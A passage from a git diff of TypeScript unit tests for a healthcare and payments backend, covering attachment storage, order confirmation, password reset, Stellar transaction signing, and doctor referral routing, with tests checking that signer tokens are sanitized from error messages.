tests', () => { + describe('DefaultStorageProvider', () => { + it('returns exact string URL if a string is provided', async () => { + const provider = new DefaultStorageProvider(); + const url = await provider.uploadAttachment('https://example.com/receipt.pdf'); + expect(url).toBe('https://example.com/receipt.pdf'); + }); + + it('returns options.url if specified in object', async () => { + const provider = new DefaultStorageProvider(); + const url = await provider.uploadAttachment({ url: 'https://example.com/proof.png' }); + expect(url).toBe('https://example.com/proof.png'); + }); + + it('generates a storage URI if fileName is provided', async () => { + const provider = new DefaultStorageProvider(); + const url = await provider.uploadAttachment({ fileName: 'test-lab.pdf' }); + expect(url).toMatch(/^storage:\/\/attachments\/\d+-test-lab\.pdf$/); + }); + + it('generates a fallback storage URI if object has no URL or fileName', async () => { + const provider = new DefaultStorageProvider(); + const url = await provider.uploadAttachment({}); + expect(url).toMatch(/^storage:\/\/attachments\/\d+-attachment$/); + }); + }); + + describe('computeConfirmedSignal', () => { + it('returns true if order is explicitly confirmed', () => { + const signal = computeConfirmedSignal({ + confirmed: true, + status: 'fulfilled', + disputed: false, + fulfilledAt: new Date(), + }, 72); + expect(signal).toBe(true); + }); + + it('returns false if order is issued and not confirmed', () => { + const signal = computeConfirmedSignal({ + confirmed: false, + status: 'issued', + disputed: false, + fulfilledAt: null, + }, 72); + expect(signal).toBe(false); + }); + + it('returns false if order is fulfilled, not confirmed, and window has NOT elapsed', () => { + const signal = computeConfirmedSignal({ + confirmed: false, + status: 'fulfilled', + disputed: false, + fulfilledAt: new Date(Date.now() - 10 * 60 * 60 * 1000), // 10 hrs ago + }, 72); + expect(signal).toBe(false); + }); + + it('returns true if order is fulfilled, not disputed, and window HAS elapsed', () => { + const signal = computeConfirmedSignal({ + confirmed: false, + status: 'fulfilled', + disputed: false, + fulfilledAt: new Date(Date.now() - 73 * 60 * 60 * 1000), // 73 hrs ago + }, 72); + expect(signal).toBe(true); + }); + + it('returns false if window elapsed BUT order is disputed', () => { + const signal = computeConfirmedSignal({ + confirmed: false, + status: 'fulfilled', + disputed: true, + fulfilledAt: new Date(Date.now() - 100 * 60 * 60 * 1000), // 100 hrs ago + }, 72); + expect(signal).toBe(false); + }); + + it('formats order response with confirmedSignal property', () => { + const order = { + id: 'ord-1', + confirmed: true, + status: 'fulfilled', + disputed: false, + fulfilledAt: new Date(), + }; + const formatted = formatOrderResponse(order, 72); + expect(formatted.confirmedSignal).toBe(true); + }); + }); +}); diff --git a/backend/tests/unit/password-reset.test.ts b/backend/tests/unit/password-reset.test.ts index 5a5b7747..1f7bd0fc 100644 --- a/backend/tests/unit/password-reset.test.ts +++ b/backend/tests/unit/password-reset.test.ts @@ -1,66 +1,66 @@ -import { describe, expect, it } from 'vitest'; -import { createRateLimiter } from '../../src/modules/auth/services/rate-limit'; -import { hashResetToken } from '../../src/modules/auth/services/password-reset'; -import { passwordResetConfirmSchema, passwordResetRequestSchema } from '../../src/modules/auth/validation'; - -describe('passwordResetRequestSchema', () => { - it('accepts a valid email', () => { - expect(passwordResetRequestSchema.safeParse({ email: 'patient@example.com' }).success).toBe(true); - }); - - it('rejects a malformed email', () => { - expect(passwordResetRequestSchema.safeParse({ email: 'not-an-email' }).success).toBe(false); - }); -}); - -describe('passwordResetConfirmSchema', () => { - it('accepts a token with a long-enough password', () => { - expect(passwordResetConfirmSchema.safeParse({ token: 'abc123', newPassword: 'longenough123' }).success).toBe(true); - }); - - it('rejects a reset that would set a weaker password than signup allows', () => { - expect(passwordResetConfirmSchema.safeParse({ token: 'abc123', newPassword: 'short' }).success).toBe(false); - }); - - it('rejects an empty token', () => { - expect(passwordResetConfirmSchema.safeParse({ token: '', newPassword: 'longenough123' }).success).toBe(false); - }); -}); - -describe('hashResetToken', () => { - it('is deterministic and never returns the raw token', () => { - const raw = 'raw-token-value'; - const hash = hashResetToken(raw); - expect(hash).toBe(hashResetToken(raw)); - expect(hash).not.toContain(raw); - // SHA-256 hex. - expect(hash).toHaveLength(64); - }); - - it('gives different hashes for different tokens', () => { - expect(hashResetToken('token-a')).not.toBe(hashResetToken('token-b')); - }); -}); - -describe('createRateLimiter', () => { - it('allows up to the limit within the window, then blocks', () => { - const limiter = createRateLimiter(3, 60_000); - expect([1, 2, 3].map(() => limiter.consume('email:a'))).toEqual([true, true, true]); - expect(limiter.consume('email:a')).toBe(false); - }); - - it('tracks keys independently', () => { - const limiter = createRateLimiter(1, 60_000); - expect(limiter.consume('email:a')).toBe(true); - expect(limiter.consume('email:b')).toBe(true); - expect(limiter.consume('email:a')).toBe(false); - }); - - it('resets once the window has elapsed', () => { - const limiter = createRateLimiter(1, 1_000); - const start = 1_000_000; - expect(limiter.consume('ip:1', start)).toBe(true); - expect(limiter.consume('ip:1', start + 500)).toBe(false); - expect(limiter.consume('ip:1', start + 1_001)).toBe(true); - }); -}); +import { describe, expect, it } from 'vitest'; +import { createRateLimiter } from '../../src/modules/auth/services/rate-limit'; +import { hashResetToken } from '../../src/modules/auth/services/password-reset'; +import { passwordResetConfirmSchema, passwordResetRequestSchema } from '../../src/modules/auth/validation'; + +describe('passwordResetRequestSchema', () => { + it('accepts a valid email', () => { + expect(passwordResetRequestSchema.safeParse({ email: 'patient@example.com' }).success).toBe(true); + }); + + it('rejects a malformed email', () => { + expect(passwordResetRequestSchema.safeParse({ email: 'not-an-email' }).success).toBe(false); + }); +}); + +describe('passwordResetConfirmSchema', () => { + it('accepts a token with a long-enough password', () => { + expect(passwordResetConfirmSchema.safeParse({ token: 'abc123', newPassword: 'longenough123' }).success).toBe(true); + }); + + it('rejects a reset that would set a weaker password than signup allows', () => { + expect(passwordResetConfirmSchema.safeParse({ token: 'abc123', newPassword: 'short' }).success).toBe(false); + }); + + it('rejects an empty token', () => { + expect(passwordResetConfirmSchema.safeParse({ token: '', newPassword: 'longenough123' }).success).toBe(false); + }); +}); + +describe('hashResetToken', () => { + it('is deterministic and never returns the raw token', () => { + const raw = 'raw-token-value'; + const hash = hashResetToken(raw); + expect(hash).toBe(hashResetToken(raw)); + expect(hash).not.toContain(raw); + // SHA-256 hex. + expect(hash).toHaveLength(64); + }); + + it('gives different hashes for different tokens', () => { + expect(hashResetToken('token-a')).not.toBe(hashResetToken('token-b')); + }); +}); + +describe('createRateLimiter', () => { + it('allows up to the limit within the window, then blocks', () => { + const limiter = createRateLimiter(3, 60_000); + expect([1, 2, 3].map(() => limiter.consume('email:a'))).toEqual([true, true, true]); + expect(limiter.consume('email:a')).toBe(false); + }); + + it('tracks keys independently', () => { + const limiter = createRateLimiter(1, 60_000); + expect(limiter.consume('email:a')).toBe(true); + expect(limiter.consume('email:b')).toBe(true); + expect(limiter.consume('email:a')).toBe(false); + }); + + it('resets once the window has elapsed', () => { + const limiter = createRateLimiter(1, 1_000); + const start = 1_000_000; + expect(limiter.consume('ip:1', start)).toBe(true); + expect(limiter.consume('ip:1', start + 500)).toBe(false); + expect(limiter.consume('ip:1', start + 1_001)).toBe(true); + }); +}); diff --git a/backend/tests/unit/payment-payout-privacy.test.ts b/backend/tests/unit/payment-payout-privacy.test.ts index 4285ec6e..33238c25 100644 --- a/backend/tests/unit/payment-payout-privacy.test.ts +++ b/backend/tests/unit/payment-payout-privacy.test.ts @@ -1,22 +1,22 @@ -import { describe, expect, it } from 'vitest'; -import { HttpError } from '../../src/http-error'; -import { resolveEscrowPayee } from '../../src/modules/payments/services/payout-privacy'; - -const facilityAddress = `G${'A'.repeat(55)}`; -const poolAddress = `G${'B'.repeat(55)}`; - -describe('payout privacy prototype', () => { - it('keeps the facility wallet as the default payout destination', () => { - expect(resolveEscrowPayee({ facilityAddress, mode: 'facility', production: true })).toBe(facilityAddress); - }); - - it('uses the shared pool only when explicitly enabled outside production', () => { - expect(resolveEscrowPayee({ facilityAddress, mode: 'pooled', poolAddress, production: false })).toBe(poolAddress); - }); - - it('rejects pooled mode in production or without a valid pool address', () => { - expect(() => resolveEscrowPayee({ facilityAddress, mode: 'pooled', poolAddress, production: true })).toThrow(HttpError); - expect(() => resolveEscrowPayee({ facilityAddress, mode: 'pooled', production: false })).toThrow(HttpError); - expect(() => resolveEscrowPayee({ facilityAddress, mode: 'pooled', poolAddress: `M${'A'.repeat(55)}`, production: false })).toThrow(HttpError); - }); +import { describe, expect, it } from 'vitest'; +import { HttpError } from '../../src/http-error'; +import { resolveEscrowPayee } from '../../src/modules/payments/services/payout-privacy'; + +const facilityAddress = `G${'A'.repeat(55)}`; +const poolAddress = `G${'B'.repeat(55)}`; + +describe('payout privacy prototype', () => { + it('keeps the facility wallet as the default payout destination', () => { + expect(resolveEscrowPayee({ facilityAddress, mode: 'facility', production: true })).toBe(facilityAddress); + }); + + it('uses the shared pool only when explicitly enabled outside production', () => { + expect(resolveEscrowPayee({ facilityAddress, mode: 'pooled', poolAddress, production: false })).toBe(poolAddress); + }); + + it('rejects pooled mode in production or without a valid pool address', () => { + expect(() => resolveEscrowPayee({ facilityAddress, mode: 'pooled', poolAddress, production: true })).toThrow(HttpError); + expect(() => resolveEscrowPayee({ facilityAddress, mode: 'pooled', production: false })).toThrow(HttpError); + expect(() => resolveEscrowPayee({ facilityAddress, mode: 'pooled', poolAddress: `M${'A'.repeat(55)}`, production: false })).toThrow(HttpError); + }); }); \ No newline at end of file diff --git a/backend/tests/unit/platform-signer.test.ts b/backend/tests/unit/platform-signer.test.ts index e084ed00..a409fb18 100644 --- a/backend/tests/unit/platform-signer.test.ts +++ b/backend/tests/unit/platform-signer.test.ts @@ -1,119 +1,119 @@ -import { describe, expect, it, vi } from 'vitest'; -import { - createEnvPlatformSigner, - EnvPlatformSigner, - PlatformSignerError, - RemotePlatformSigner, - type EnvSignerDelegate, -} from '../../src/modules/payments/services/platform-signer'; - -// stellar-sdk is ESM; this test file compiles as CommonJS, so load it dynamically. -const stellarSdk = () => import('@stellar/stellar-sdk'); - -const signerConfig = { - endpoint: 'https://signer.example.test', - token: 'test-token-that-must-not-leak', - role: 'payer' as const, - expectedPublicKey: 'GEXPECTED', - networkPassphrase: 'Test SDF Network ; September 2015', - timeoutMs: 1000, -}; - -describe('PlatformSigner adapters', () => { - it('delegates env signer calls and returns the SEP-43 shapes', async () => { - const delegate: EnvSignerDelegate = { - signTransaction: vi.fn(async (xdr) => ({ signedTxXdr: `signed:${xdr}` })), - signAuthEntry: vi.fn(async (xdr) => ({ signedAuthEntry: `auth:${xdr}` })), - }; - const signer = new EnvPlatformSigner('GENV', delegate); - expect(signer.publicKey()).toBe('GENV'); - await expect(signer.signTransaction('tx-xdr', { networkPassphrase: signerConfig.networkPassphrase })) - .resolves.toEqual({ signedTxXdr: 'signed:tx-xdr', signerAddress: 'GENV' }); - await expect(signer.signAuthEntry('auth-xdr', { networkPassphrase: signerConfig.networkPassphrase })) - .resolves.toEqual({ signedAuthEntry: 'auth:auth-xdr', signerAddress: 'GENV' }); - }); - - it('sanitizes env signer failures', async () => { - const delegate: EnvSignerDelegate = { - signTransaction: async () => { throw new Error(`key leaked ${signerConfig.token}`); }, - signAuthEntry: async () => { throw new Error(`key leaked ${signerConfig.token}`); }, - }; - const signer = new EnvPlatformSigner('GENV', delegate); - const error = await signer.signTransaction('tx-xdr', { networkPassphrase: signerConfig.networkPassphrase }).catch((caught: unknown) => caught); - expect(error).toBeInstanceOf(PlatformSignerError); - expect((error as Error).message).not.toContain(signerConfig.token); - }); - - it('rejects an env delegate that returns a bare string instead of { signedTxXdr }', async () => { - const delegate = { - signTransaction: async () => 'signed-xdr', - signAuthEntry: async () => 'signed-auth', - } as unknown as EnvSignerDelegate; - const signer = new EnvPlatformSigner('GENV', delegate); - await expect(signer.signTransaction('tx-xdr', { networkPassphrase: signerConfig.networkPassphrase })) - .rejects.toThrow(/invalid signing response/); - await expect(signer.signAuthEntry('auth-xdr', { networkPassphrase: signerConfig.networkPassphrase })) - .rejects.toThrow(/invalid authorization response/); - }); - - it('signs a real transaction with a real keypair, as stellar-sdk will call it', async () => { - const { Account, Keypair, Networks, Operation, TransactionBuilder } = await stellarSdk(); - const keypair = Keypair.random(); - const signer = await createEnvPlatformSigner(keypair, Networks.TESTNET); - expect(signer.publicKey()).toBe(keypair.publicKey()); - - const unsigned = new TransactionBuilder(new Account(keypair.publicKey(), '1'), { fee: '100', networkPassphrase: Networks.TESTNET }) - .addOperation(Operation.bumpSequence({ bumpTo: '2' })) - .setTimeout(30) - .build(); - // stellar-sdk's AssembledTransaction.sign() destructures `signedTxXdr` from the result. - const { signedTxXdr, signerAddress } = await signer.signTransaction(unsigned.toXDR(), { networkPassphrase: Networks.TESTNET }); - expect(signerAddress).toBe(keypair.publicKey()); - - const signed = TransactionBuilder.fromXDR(signedTxXdr, Networks.TESTNET); - expect(signed.signatures).toHaveLength(1); - expect(keypair.verify(signed.hash(), signed.signatures[0].signature())).toBe(true); - }); - - it('signs a Soroban authorization entry with a real keypair', async () => { - const { hash, Keypair, Networks } = await stellarSdk(); - const keypair = Keypair.random(); - const signer = await createEnvPlatformSigner(keypair, Networks.TESTNET); - const entry = Buffer.from('authorization-preimage').toString('base64'); - const { signedAuthEntry } = await signer.signAuthEntry(entry, { networkPassphrase: Networks.TESTNET }); - expect(keypair.verify(hash(Buffer.from(entry, 'base64')), Buffer.from(signedAuthEntry, 'base64'))).toBe(true); - }); - - it('validates the remote public key and signs a transaction through the remote adapter', async () => { - const request = vi.fn(async (_input: string | URL | Request, init?: RequestInit) => { - if (init?.method === 'GET') return new Response(JSON.stringify({ publicKey: 'GEXPECTED' }), { status: 200 }); - return new Response(JSON.stringify({ signedXdr: 'signed-transaction-xdr' }), { status: 200 }); - }); - const signer = new RemotePlatformSigner(signerConfig, request as unknown as typeof fetch); - await expect(signer.validate()).resolves.toBeUndefined(); - await expect(signer.signTransaction('unsigned-xdr', { networkPassphrase: signerConfig.networkPassphrase })) - .resolves.toEqual({ signedTxXdr: 'signed-transaction-xdr', signerAddress: 'GEXPECTED' }); - expect(request).toHaveBeenNthCalledWith(2, 'https://signer.example.test/signers/payer/sign-transaction', expect.objectContaining({ - method: 'POST', - headers: expect.objectContaining({ authorization: `Bearer ${signerConfig.token}` }), - body: JSON.stringify({ xdr: 'unsigned-xdr', options: { networkPassphrase: signerConfig.networkPassphrase } }), - })); - }); - - it('rejects a remote public-key mismatch without exposing response content', async () => { - const request = vi.fn(async () => new Response(JSON.stringify({ publicKey: 'GWRONG', secret: signerConfig.token }), { status: 200 })); - const signer = new RemotePlatformSigner(signerConfig, request as unknown as typeof fetch); - await expect(signer.validate()).rejects.toThrow(/does not match its configured expected address/); - const error = await signer.validate().catch((caught: unknown) => caught); - expect(error).toBeInstanceOf(PlatformSignerError); - expect((error as Error).message).not.toContain(signerConfig.token); - }); - - it('sanitizes remote signer transport errors', async () => { - const request = vi.fn(async () => { throw new Error(`remote echoed ${signerConfig.token}`); }); - const signer = new RemotePlatformSigner(signerConfig, request as unknown as typeof fetch); - const error = await signer.signTransaction('unsigned-xdr', { networkPassphrase: signerConfig.networkPassphrase }).catch((caught: unknown) => caught); - expect(error).toBeInstanceOf(PlatformSignerError); - expect((error as Error).message).not.toContain(signerConfig.token); - }); -}); +import { describe, expect, it, vi } from 'vitest'; +import { + createEnvPlatformSigner, + EnvPlatformSigner, + PlatformSignerError, + RemotePlatformSigner, + type EnvSignerDelegate, +} from '../../src/modules/payments/services/platform-signer'; + +// stellar-sdk is ESM; this test file compiles as CommonJS, so load it dynamically. +const stellarSdk = () => import('@stellar/stellar-sdk'); + +const signerConfig = { + endpoint: 'https://signer.example.test', + token: 'test-token-that-must-not-leak', + role: 'payer' as const, + expectedPublicKey: 'GEXPECTED', + networkPassphrase: 'Test SDF Network ; September 2015', + timeoutMs: 1000, +}; + +describe('PlatformSigner adapters', () => { + it('delegates env signer calls and returns the SEP-43 shapes', async () => { + const delegate: EnvSignerDelegate = { + signTransaction: vi.fn(async (xdr) => ({ signedTxXdr: `signed:${xdr}` })), + signAuthEntry: vi.fn(async (xdr) => ({ signedAuthEntry: `auth:${xdr}` })), + }; + const signer = new EnvPlatformSigner('GENV', delegate); + expect(signer.publicKey()).toBe('GENV'); + await expect(signer.signTransaction('tx-xdr', { networkPassphrase: signerConfig.networkPassphrase })) + .resolves.toEqual({ signedTxXdr: 'signed:tx-xdr', signerAddress: 'GENV' }); + await expect(signer.signAuthEntry('auth-xdr', { networkPassphrase: signerConfig.networkPassphrase })) + .resolves.toEqual({ signedAuthEntry: 'auth:auth-xdr', signerAddress: 'GENV' }); + }); + + it('sanitizes env signer failures', async () => { + const delegate: EnvSignerDelegate = { + signTransaction: async () => { throw new Error(`key leaked ${signerConfig.token}`); }, + signAuthEntry: async () => { throw new Error(`key leaked ${signerConfig.token}`); }, + }; + const signer = new EnvPlatformSigner('GENV', delegate); + const error = await signer.signTransaction('tx-xdr', { networkPassphrase: signerConfig.networkPassphrase }).catch((caught: unknown) => caught); + expect(error).toBeInstanceOf(PlatformSignerError); + expect((error as Error).message).not.toContain(signerConfig.token); + }); + + it('rejects an env delegate that returns a bare string instead of { signedTxXdr }', async () => { + const delegate = { + signTransaction: async () => 'signed-xdr', + signAuthEntry: async () => 'signed-auth', + } as unknown as EnvSignerDelegate; + const signer = new EnvPlatformSigner('GENV', delegate); + await expect(signer.signTransaction('tx-xdr', { networkPassphrase: signerConfig.networkPassphrase })) + .rejects.toThrow(/invalid signing response/); + await expect(signer.signAuthEntry('auth-xdr', { networkPassphrase: signerConfig.networkPassphrase })) + .rejects.toThrow(/invalid authorization response/); + }); + + it('signs a real transaction with a real keypair, as stellar-sdk will call it', async () => { + const { Account, Keypair, Networks, Operation, TransactionBuilder } = await stellarSdk(); + const keypair = Keypair.random(); + const signer = await createEnvPlatformSigner(keypair, Networks.TESTNET); + expect(signer.publicKey()).toBe(keypair.publicKey()); + + const unsigned = new TransactionBuilder(new Account(keypair.publicKey(), '1'), { fee: '100', networkPassphrase: Networks.TESTNET }) + .addOperation(Operation.bumpSequence({ bumpTo: '2' })) + .setTimeout(30) + .build(); + // stellar-sdk's AssembledTransaction.sign() destructures `signedTxXdr` from the result. + const { signedTxXdr, signerAddress } = await signer.signTransaction(unsigned.toXDR(), { networkPassphrase: Networks.TESTNET }); + expect(signerAddress).toBe(keypair.publicKey()); + + const signed = TransactionBuilder.fromXDR(signedTxXdr, Networks.TESTNET); + expect(signed.signatures).toHaveLength(1); + expect(keypair.verify(signed.hash(), signed.signatures[0].signature())).toBe(true); + }); + + it('signs a Soroban authorization entry with a real keypair', async () => { + const { hash, Keypair, Networks } = await stellarSdk(); + const keypair = Keypair.random(); + const signer = await createEnvPlatformSigner(keypair, Networks.TESTNET); + const entry = Buffer.from('authorization-preimage').toString('base64'); + const { signedAuthEntry } = await signer.signAuthEntry(entry, { networkPassphrase: Networks.TESTNET }); + expect(keypair.verify(hash(Buffer.from(entry, 'base64')), Buffer.from(signedAuthEntry, 'base64'))).toBe(true); + }); + + it('validates the remote public key and signs a transaction through the remote adapter', async () => { + const request = vi.fn(async (_input: string | URL | Request, init?: RequestInit) => { + if (init?.method === 'GET') return new Response(JSON.stringify({ publicKey: 'GEXPECTED' }), { status: 200 }); + return new Response(JSON.stringify({ signedXdr: 'signed-transaction-xdr' }), { status: 200 }); + }); + const signer = new RemotePlatformSigner(signerConfig, request as unknown as typeof fetch); + await expect(signer.validate()).resolves.toBeUndefined(); + await expect(signer.signTransaction('unsigned-xdr', { networkPassphrase: signerConfig.networkPassphrase })) + .resolves.toEqual({ signedTxXdr: 'signed-transaction-xdr', signerAddress: 'GEXPECTED' }); + expect(request).toHaveBeenNthCalledWith(2, 'https://signer.example.test/signers/payer/sign-transaction', expect.objectContaining({ + method: 'POST', + headers: expect.objectContaining({ authorization: `Bearer ${signerConfig.token}` }), + body: JSON.stringify({ xdr: 'unsigned-xdr', options: { networkPassphrase: signerConfig.networkPassphrase } }), + })); + }); + + it('rejects a remote public-key mismatch without exposing response content', async () => { + const request = vi.fn(async () => new Response(JSON.stringify({ publicKey: 'GWRONG', secret: signerConfig.token }), { status: 200 })); + const signer = new RemotePlatformSigner(signerConfig, request as unknown as typeof fetch); + await expect(signer.validate()).rejects.toThrow(/does not match its configured expected address/); + const error = await signer.validate().catch((caught: unknown) => caught); + expect(error).toBeInstanceOf(PlatformSignerError); + expect((error as Error).message).not.toContain(signerConfig.token); + }); + + it('sanitizes remote signer transport errors', async () => { + const request = vi.fn(async () => { throw new Error(`remote echoed ${signerConfig.token}`); }); + const signer = new RemotePlatformSigner(signerConfig, request as unknown as typeof fetch); + const error = await signer.signTransaction('unsigned-xdr', { networkPassphrase: signerConfig.networkPassphrase }).catch((caught: unknown) => caught); + expect(error).toBeInstanceOf(PlatformSignerError); + expect((error as Error).message).not.toContain(signerConfig.token); + }); +}); diff --git a/backend/tests/unit/referral-routing.test.ts b/backend/tests/unit/referral-routing.test.ts index 2e43f370..679beccb 100644 --- a/backend/tests/unit/referral-routing.test.ts +++ b/backend/tests/unit/referral-routing.test.ts @@ -1,50 +1,50 @@ -import { describe, expect, it } from 'vitest'; -import { selectLeastLoaded } from '../../src/modules/referrals/routing'; - -// Issue #6 / docs/adr/0008: the specialty-only routing rule is a pure -// selection over (doctor, active-load) pairs, so it can be asserted -// exactly here without a database. The end-to-end behaviour (eligibility, -// zero candidates, batch exclusions) is covered in -// tests/integration/referral-routing.test.mts. -describe('referral routing β€” least-loaded selection', () => { - it('returns null when nobody is eligible', () => { - expect(selectLeastLoaded([])).toBeNull(); - }); - - it('picks the single eligible candidate', () => { - expect(selectLeastLoaded([{ doctorProfileId: 'doctor-a', activeReferralCount: 7 }])).toEqual({ - doctorProfileId: 'doctor-a', - activeReferralCount: 7, - }); - }); - - it('picks the doctor with the fewest active referrals, regardless of input order', () => { - const candidates = [ - { doctorProfileId: 'doctor-a', activeReferralCount: 3 }, - { doctorProfileId: 'doctor-b', activeReferralCount: 0 }, - { doctorProfileId: 'doctor-c', activeReferralCount: 1 }, - ]; - expect(selectLeastLoaded(candidates)?.doctorProfileId).toBe('doctor-b'); - expect(selectLeastLoaded([...candidates].reverse())?.doctorProfileId).toBe('doctor-b'); - }); - - it('is deterministic on ties: lowest doctorProfileId wins', () => { - const candidates = [ - { doctorProfileId: 'ffff', activeReferralCount: 2 }, - { doctorProfileId: '0000', activeReferralCount: 2 }, - { doctorProfileId: 'aaaa', activeReferralCount: 2 }, - ]; - expect(selectLeastLoaded(candidates)?.doctorProfileId).toBe('0000'); - expect(selectLeastLoaded([...candidates].reverse())?.doctorProfileId).toBe('0000'); - }); - - it('does not mutate its input', () => { - const candidates = [ - { doctorProfileId: 'doctor-a', activeReferralCount: 1 }, - { doctorProfileId: 'doctor-b', activeReferralCount: 0 }, - ]; - const snapshot = candidates.map((candidate) => ({ ...candidate })); - selectLeastLoaded(candidates); - expect(candidates).toEqual(snapshot); - }); -}); +import { describe, expect, it } from 'vitest'; +import { selectLeastLoaded } from '../../src/modules/referrals/routing'; + +// Issue #6 / docs/adr/0008: the specialty-only routing rule is a pure +// selection over (doctor, active-load) pairs, so it can be asserted +// exactly here without a database. The end-to-end behaviour (eligibility, +// zero candidates, batch exclusions) is covered in +// tests/integration/referral-routing.test.mts. +describe('referral routing β€” least-loaded selection', () => { + it('returns null when nobody is eligible', () => { + expect(selectLeastLoaded([])).toBeNull(); + }); + + it('picks the single eligible candidate', () => { + expect(selectLeastLoaded([{ doctorProfileId: 'doctor-a', activeReferralCount: 7 }])).toEqual({ + doctorProfileId: 'doctor-a', + activeReferralCount: 7, + }); + }); + + it('picks the doctor with the fewest active referrals, regardless of input order', () => { + const candidates = [ + { doctorProfileId: 'doctor-a', activeReferralCount: 3 }, + { doctorProfileId: 'doctor-b', activeReferralCount: 0 }, + { doctorProfileId: 'doctor-c', activeReferralCount: 1 }, + ]; + expect(selectLeastLoaded(candidates)?.doctorProfileId).toBe('doctor-b'); + expect(selectLeastLoaded([...candidates].reverse())?.doctorProfileId).toBe('doctor-b'); + }); + + it('is deterministic on ties: lowest doctorProfileId wins', () => { + const candidates = [ + { doctorProfileId: 'ffff', activeReferralCount: 2 }, + { doctorProfileId: '0000', activeReferralCount: 2 }, + { doctorProfileId: 'aaaa', activeReferralCount: 2 }, + ]; + expect(selectLeastLoaded(candidates)?.doctorProfileId).toBe('0000'); + expect(selectLeastLoaded([...candidates].reverse())?.doctorProfileId).toBe('0000'); + }); + + it('does not mutate its input', () => { + const candidates = [ + { doctorProfileId: 'doctor-a', activeReferralCount: 1 }, + { doctorProfileId: 'doctor-b', activeReferralCount: 0 }, + ]; + const snapshot = candidates.map((candidate) => ({ ...candidate })); + selectLeastLoaded(candidates); + expect(candidates).toEqual(snapshot); + }); +}); diff --git a/backend/tests/unit/referral-validation.test.ts b/backend/tests/unit/referral-validation.test.ts index f68db09e..40ec4101 100644 --- a/backend/tests/unit/referral-validation.test.ts +++ b/backend/tests/unit/referral-validation.test.ts @@ -1,68 +1,68 @@ -import { describe, expect, it } from 'vitest'; -import { - adminCancelSchema, - adminQueueQuerySchema, - adminReassignSchema, - createReferralBatchSchema, - createReferralSchema, -} from '../../src/modules/referrals/validation'; -import { updateStatusSchema } from '../../src/modules/appointments/validation'; - -describe('referral validation schemas', () => { - it('accepts a full referral create payload', () => { - const parsed = createReferralSchema.parse({ - sourceConsultationId: 'c1', - targetDoctorId: 'd1', - targetSpecialtyId: 's1', - snapshotNotes: ' trimmed ', - }); - expect(parsed.snapshotNotes).toBe('trimmed'); - }); - - it('requires notes and rejects empty targets', () => { - expect(() => - createReferralSchema.parse({ sourceConsultationId: 'c1', targetDoctorId: 'd1', snapshotNotes: ' ' }), - ).toThrow(); - expect(() => createReferralBatchSchema.parse({ targets: [] })).toThrow(); - }); - - it('accepts a specialty-only target (issue #6 routing) and rejects one with neither', () => { - const specialtyOnly = createReferralSchema.parse({ - sourceConsultationId: 'c1', - targetSpecialtyId: 's1', - snapshotNotes: 'needs a cardiologist', - }); - expect(specialtyOnly.targetDoctorId).toBeUndefined(); - expect(specialtyOnly.targetSpecialtyId).toBe('s1'); - - // Neither a doctor nor a specialty is not a target β€” routing has - // nothing to resolve against, so this must fail validation rather - // than reach the service. - expect(() => - createReferralSchema.parse({ sourceConsultationId: 'c1', snapshotNotes: 'notes' }), - ).toThrow(); - expect(() => createReferralBatchSchema.parse({ targets: [{ snapshotNotes: 'notes' }] })).toThrow(); - }); - - it('parses admin queue filters', () => { - expect(adminQueueQuerySchema.parse({ status: 'pending', olderThan: '48h', loopFlagged: 'true' })).toEqual({ - status: 'pending', - olderThan: '48h', - loopFlagged: true, - }); - expect(() => adminQueueQuerySchema.parse({ olderThan: '48hours' })).toThrow(); - }); - - it('requires a reason for reassign and cancel', () => { - expect(() => adminReassignSchema.parse({ targetDoctorId: 'd1', reason: ' ' })).toThrow(); - expect(() => adminCancelSchema.parse({ reason: '' })).toThrow(); - expect(adminCancelSchema.parse({ reason: 'why' })).toEqual({ reason: 'why' }); - }); -}); - -describe('appointment status schema', () => { - it('allows only terminal transitions from the body', () => { - expect(updateStatusSchema.parse({ status: 'no_show' })).toEqual({ status: 'no_show' }); - expect(() => updateStatusSchema.parse({ status: 'scheduled' })).toThrow(); - }); -}); +import { describe, expect, it } from 'vitest'; +import { + adminCancelSchema, + adminQueueQuerySchema, + adminReassignSchema, + createReferralBatchSchema, + createReferralSchema, +} from '../../src/modules/referrals/validation'; +import { updateStatusSchema } from '../../src/modules/appointments/validation'; + +describe('referral validation schemas', () => { + it('accepts a full referral create payload', () => { + const parsed = createReferralSchema.parse({ + sourceConsultationId: 'c1', + targetDoctorId: 'd1', + targetSpecialtyId: 's1', + snapshotNotes: ' trimmed ', + }); + expect(parsed.snapshotNotes).toBe('trimmed'); + }); + + it('requires notes and rejects empty targets', () => { + expect(() => + createReferralSchema.parse({ sourceConsultationId: 'c1', targetDoctorId: 'd1', snapshotNotes: ' ' }), + ).toThrow(); + expect(() => createReferralBatchSchema.parse({ targets: [] })).toThrow(); + }); + + it('accepts a specialty-only target (issue #6 routing) and rejects one with neither', () => { + const specialtyOnly = createReferralSchema.parse({ + sourceConsultationId: 'c1', + targetSpecialtyId: 's1', + snapshotNotes: 'needs a cardiologist', + }); + expect(specialtyOnly.targetDoctorId).toBeUndefined(); + expect(specialtyOnly.targetSpecialtyId).toBe('s1'); + + // Neither a doctor nor a specialty is not a target β€” routing has + // nothing to resolve against, so this must fail validation rather + // than reach the service. + expect(() => + createReferralSchema.parse({ sourceConsultationId: 'c1', snapshotNotes: 'notes' }), + ).toThrow(); + expect(() => createReferralBatchSchema.parse({ targets: [{ snapshotNotes: 'notes' }] })).toThrow(); + }); + + it('parses admin queue filters', () => { + expect(adminQueueQuerySchema.parse({ status: 'pending', olderThan: '48h', loopFlagged: 'true' })).toEqual({ + status: 'pending', + olderThan: '48h', + loopFlagged: true, + }); + expect(() => adminQueueQuerySchema.parse({ olderThan: '48hours' })).toThrow(); + }); + + it('requires a reason for reassign and cancel', () => { + expect(() => adminReassignSchema.parse({ targetDoctorId: 'd1', reason: ' ' })).toThrow(); + expect(() => adminCancelSchema.parse({ reason: '' })).toThrow(); + expect(adminCancelSchema.parse({ reason: 'why' })).toEqual({ reason: 'why' }); + }); +}); + +describe('appointment status schema', () => { + it('allows only terminal transitions from the body', () => { + expect(updateStatusSchema.parse({ status: 'no_show' })).toEqual({ status: 'no_show' }); + expect(() => updateStatusSchema.parse({ status: 'scheduled' })).toThrow(); + }); +}); diff --git a/backend/tests/unit/sep10.test.mts b/backend/tests/unit/sep10.test.mts index 74f89155..43fa2fc7 100644 --- a/backend/tests/unit/sep10.test.mts +++ b/backend/tests/unit/sep10.test.mts @@ -1,311 +1,311 @@ -// Unit tests for the SEP-10 server (issue #77) β€” no database, no network. -// -// Two groups: -// 1. Configuration validation (startup check reports var NAMES, never -// secret values). -// 